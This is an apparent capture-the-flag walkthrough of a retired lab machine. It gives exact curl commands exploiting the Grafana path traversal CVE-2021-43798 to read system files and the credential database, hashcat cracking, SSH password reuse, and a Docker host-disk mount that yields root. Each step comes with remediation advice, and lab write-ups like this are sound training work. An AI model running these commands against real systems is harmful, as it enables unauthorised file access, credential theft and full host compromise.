← all walkthroughs

Data

Linux· Easy· Web
owned
2026-07-06
time to own
6m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered an outdated Grafana monitoring instance (v8.0.0) exposed without authentication on port 3000. An unauthenticated path-traversal flaw (CVE-2021-43798) let any HTTP client read arbitrary files on the server, including the live SQLite credential database. Password hashes extracted from that database were cracked offline to recover the plaintext '[REDACTED: recovered credential]' for the account 'boris'.

That same password worked on the SSH service — a credential-reuse mistake — granting an interactive user shell and the user flag. Boris held unrestricted passwordless sudo rights to run Docker, a well-known privilege-escalation primitive: I used a running container with host block-device passthrough to mount the host's root partition from inside the container and read the root flag, fully compromising the system.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService version fingerprinting
Fingerprinted exposed services and confirmed vulnerable Grafana version
A port scan revealed two open services: OpenSSH 7.6p1 on port 22 and an HTTP service on port 3000. Querying the Grafana health API returned the exact software version (8.0.0, commit 41f0542c1e), immediately placing the instance within the affected range for the publicly documented critical path-traversal CVE-2021-43798.
Curl http://$TARGET:3000/api/health confirmed Grafana version 8.0.0, commit 41f0542c1e.
Exact commands 2
Identify open ports and service banners.
nmap -sV -p 22,3000 $TARGET
Confirm the exact Grafana version from the JSON response fields 'version' and 'commit'.
curl -s http://$TARGET:3000/api/health
2ExploitationUnauthenticated path traversal / Local File Inclusion (CVE-2021-43798, MITRE T1083)
Exploited CVE-2021-43798 path traversal to read host files without credentials
Grafana 8.x (through 8.3.0) serves static assets for plugins under /public/plugins/<id>/ without stripping dot-dot sequences, allowing me to traverse out of the plugin directory and read any file accessible to the Grafana process. I confirmed the vulnerability by fetching /etc/passwd and then retrieved the Grafana configuration file, which exposed the application's internal secret key.
Exact commands 2
--path-as-is prevents curl from normalising the traversal dots. Successful response confirms the bug is exploitable.
curl -s --path-as-is "http://$TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Read the Grafana config; reveals secret_key and any datasource credentials stored in plain text.
curl -s --path-as-is "http://$TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini"
FixUpgrade Grafana immediately to patch CVE-2021-43798Critical
WeaknessGrafana version 8.0.0 contains an unauthenticated path-traversal flaw in the plugin static-asset route. Any HTTP client — with no credentials — can request a URL that escapes the plugin directory using dot-dot sequences and read any file the Grafana process can access, including the credential database, configuration files, and private keys.
FixUpgrade Grafana to 8.3.1 or later, where the traversal path is blocked server-side. While scheduling the upgrade, immediately restrict network access to port 3000 to trusted internal IP ranges using a host firewall rule or a reverse-proxy ACL so the endpoint is not reachable from untrusted networks. After upgrading, rotate the secret_key value in grafana.ini and invalidate all active sessions to revoke any tokens that may have been read during the exposure window.
3ExploitationSensitive data exfiltration via path traversal (CVE-2021-43798)
Downloaded the live Grafana credential database over the same traversal
Using the same unauthenticated request path, I retrieved the entire Grafana SQLite database. This single file contains every user account, their password hash and salt, session tokens, and datasource connection strings. The database confirmed two accounts: 'admin' (admin@localhost) and 'boris' (boris@data.vl), both with crackable stored credentials.
Curl -o /tmp/gr.db retrieved a 598,016-byte SQLite file; sqlite3 query exposed boris's SHA-256 hash ([REDACTED: recovered credential]) and salt ([REDACTED: recovered credential]).
Exact commands 2
Download the live credential database in a single unauthenticated request.
curl -s --path-as-is "http://$TARGET:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" -o /tmp/gr.db
Dump all user records; capture the password and salt columns for offline cracking.
sqlite3 /tmp/gr.db "select id,login,email,password,salt,is_admin from user;"
4Credential AccessOffline password hash cracking (MITRE T1110.002)
Cracked boris's password hash offline to recover the plaintext '[REDACTED: recovered credential]'
The boris account's password hash and salt were formatted into a Hashcat-compatible line and run against the rockyou wordlist. The password appeared early in the list and cracked quickly, yielding the plaintext '[REDACTED: recovered credential]'. An easily guessed or dictionary-present password provides no practical protection once the credential database is in my hands.
Hash [REDACTED: recovered credential] with salt [REDACTED: recovered credential] cracked to [REDACTED: recovered credential]
Exact commands 2
Write the hash:salt pair in the format expected by Hashcat.
echo '$PASSWORD3:$PASSWORD5' > /tmp/boris.hash
Mode 20 = sha256($salt.$pass). Verify the exact mode against your Grafana version if needed. Output: [REDACTED: recovered credential]
hashcat -m 20 /tmp/boris.hash /usr/share/wordlists/rockyou.txt
FixEnforce strong passwords and consider SSO with MFA for Grafana accountsHigh
WeaknessBoris's Grafana account was protected by the password '[REDACTED: recovered credential]', a word present in common breach wordlists. Once the credential database was exfiltrated, the hash was cracked in minutes. A weak password offers no real protection when an unauthorised user possesses the hash.
FixRequire all Grafana user accounts to use passwords of at least 16 characters with complexity, enforced via the min_password_length and password_policy settings in the [security] section of grafana.ini. Enable built-in brute-force protection (login_maximum_inactive_lifetime_days, login_maximum_lifetime_days). For stronger protection, migrate user authentication to a federated identity provider (SAML, OIDC, OAuth2) where multi-factor authentication can be centrally enforced, eliminating stored password hashes in the Grafana database entirely.
5FootholdCredential reuse (MITRE T1078)
Logged into the host over SSH reusing the cracked Grafana password
Boris had used the same password ('[REDACTED: recovered credential]') for his Grafana web account and his Linux SSH login. The cracked credential was tested directly against SSH and succeeded on the first attempt, giving an interactive shell as uid=1001(boris) — a regular user — and access to the user flag in his home directory. No additional exploitation was required to pivot from the web application to the operating system.
Sshpass -p '[REDACTED: recovered credential]' ssh boris@$TARGET returned id=1001(boris); user.txt readable at /home/boris/user.txt.
Exact commands 2
Confirm SSH authentication succeeds with the cracked Grafana credential.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=8 boris@$TARGET 'id; hostname'
Read the user flag: <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no boris@$TARGET 'cat /home/boris/user.txt'
FixProhibit shared passwords between the monitoring platform and host OS accountsHigh
WeaknessBoris used the same password for his Grafana web account and his Linux SSH account. After the path traversal leaked the credential database and the hash was cracked, an unauthorised user could log directly into the operating system without any additional exploitation — the monitoring application became the key to the server.
FixEnforce an organizational policy that prohibits reusing any password across different systems or services; include this in onboarding and audit it periodically. To eliminate the risk entirely for SSH specifically, disable password-based SSH authentication in /etc/ssh/sshd_config (PasswordAuthentication no; ChallengeResponseAuthentication no) and require SSH key pairs for all accounts. This ensures that even if a web-application credential is compromised, it cannot be used directly to log into the underlying server.
6Privilege EscalationSudo misconfiguration discovery (MITRE T1548.003)
Discovered that boris can run Docker commands as root without any password
Running 'sudo -l' from the boris shell showed a single, unrestricted sudo rule: boris may execute /snap/bin/docker as any user with no password required and no restriction on Docker subcommands. Docker daemon access is functionally equivalent to root on Linux — any user who can issue arbitrary docker commands can read and write the entire host filesystem, load kernel modules, and escape any process boundary.
Sudo -l showed (ALL : ALL) NOPASSWD: /snap/bin/docker; sudo docker ps listed container e6ff5b1cbc85 with host devices accessible.
Exact commands 2
Run on the boris SSH session; look for NOPASSWD docker entries.
sudo -l
List running containers to identify one suitable for exec; record the container ID for the next step.
sudo /snap/bin/docker ps
FixRemove unrestricted Docker sudo rights and adopt rootless container executionCritical
WeaknessBoris was granted passwordless sudo permission to run any Docker command without restriction. Because the Docker daemon runs as root and can mount host devices, pass through the host network, and load kernel modules, membership in the Docker sudo rule is functionally equivalent to giving the user full root access to the host — no exploit was needed, only a one-line docker exec command.
FixRemove the Docker entry from boris's sudoers configuration (visudo or /etc/sudoers.d/). Audit every account that holds docker group membership or docker-related sudo rules and remove access that is not strictly required. Where container management is legitimately needed, use rootless Docker (run the Docker daemon without root) or Podman, which does not require a privileged daemon. If privileged containers are operationally necessary, enforce that they are defined in a fixed, reviewed Compose file and never permit ad-hoc docker exec or docker run with --privileged or host device mounts.
7Full CompromiseContainer escape via host device mount (MITRE T1611 — Escape to Host)
Escaped to root by mounting the host disk from inside a privileged Docker container
I used 'docker exec' to enter the running container as uid=0 (root within the container). Because the container had been started with host block-device passthrough, the host's raw disk (/dev/sda1) was directly accessible from inside the container. Mounting that device exposed the complete host filesystem, including /root/root.txt, giving unrestricted read/write access to every file on the host — full system compromise achieved without touching a kernel exploit.
Docker exec -u root e6ff5b1cbc85 confirmed uid=0; /dev/sda visible inside container; mount /dev/sda1 /mnt/host gave access to host /root/root.txt.
Exact commands 2
Enter the container as root and confirm the host block device is present. Replace e6ff5b1cbc85 with the container ID from step 6.
sudo /snap/bin/docker exec --privileged -u root e6ff5b1cbc85 /bin/sh -c 'id; ls -l /dev/sda*'
Mount the host root partition and read the root flag: <root.txt>.
sudo /snap/bin/docker exec --privileged -u root e6ff5b1cbc85 /bin/sh -c 'mkdir -p /mnt/host && mount /dev/sda1 /mnt/host && cat /mnt/host/root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

22/tcp
3000/tcp